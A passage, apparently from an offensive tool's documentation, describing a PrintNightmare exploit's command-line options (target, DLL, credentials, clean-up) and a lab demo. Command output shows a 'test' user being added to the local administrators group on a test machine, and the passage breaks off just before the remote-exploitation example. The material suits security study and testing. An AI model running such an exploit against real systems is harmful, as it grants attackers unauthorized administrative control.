/server: the target server or workstation to exploit
/x64 or /win64: the target server or workstation is 64 bit
/x86 or /win32: the target server or workstation is 32 bit
/library: the DLL to use during exploitation
/authuser: the username to use during exploitation
/authdomain: the active directory domain
/authpassword: the password of the user
/clean: clean-up the operation
The following example demonstrates local privilege escalation through printnightmare. As can be seen, the test user is not part of the local administrators group on the Win10.hacklab.local machine:
PS C:\Users\m3g9tr0n> net user
User accounts for \\WIN10
-------------------------------------------------------------------------------
Administrator DefaultAccount Guest
test vs2022 WDAGUtilityAccount
The command completed successfully.
PS C:\Users\m3g9tr0n> net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
hacklab\Domain Admins
hacklab\m3g9tr0n
vs2022
The command completed successfully.
The test user is now part of the local administrators group:
PS C:\Users\m3g9tr0n> net localgroup administrators
Alias name administrators
Comment Administrators have complete and unrestricted access to the computer/domain
Members
-------------------------------------------------------------------------------
Administrator
hacklab\Domain Admins
hacklab\m3g9tr0n
test
vs2022
The command completed successfully.
For remote exploitation, the following can be used:
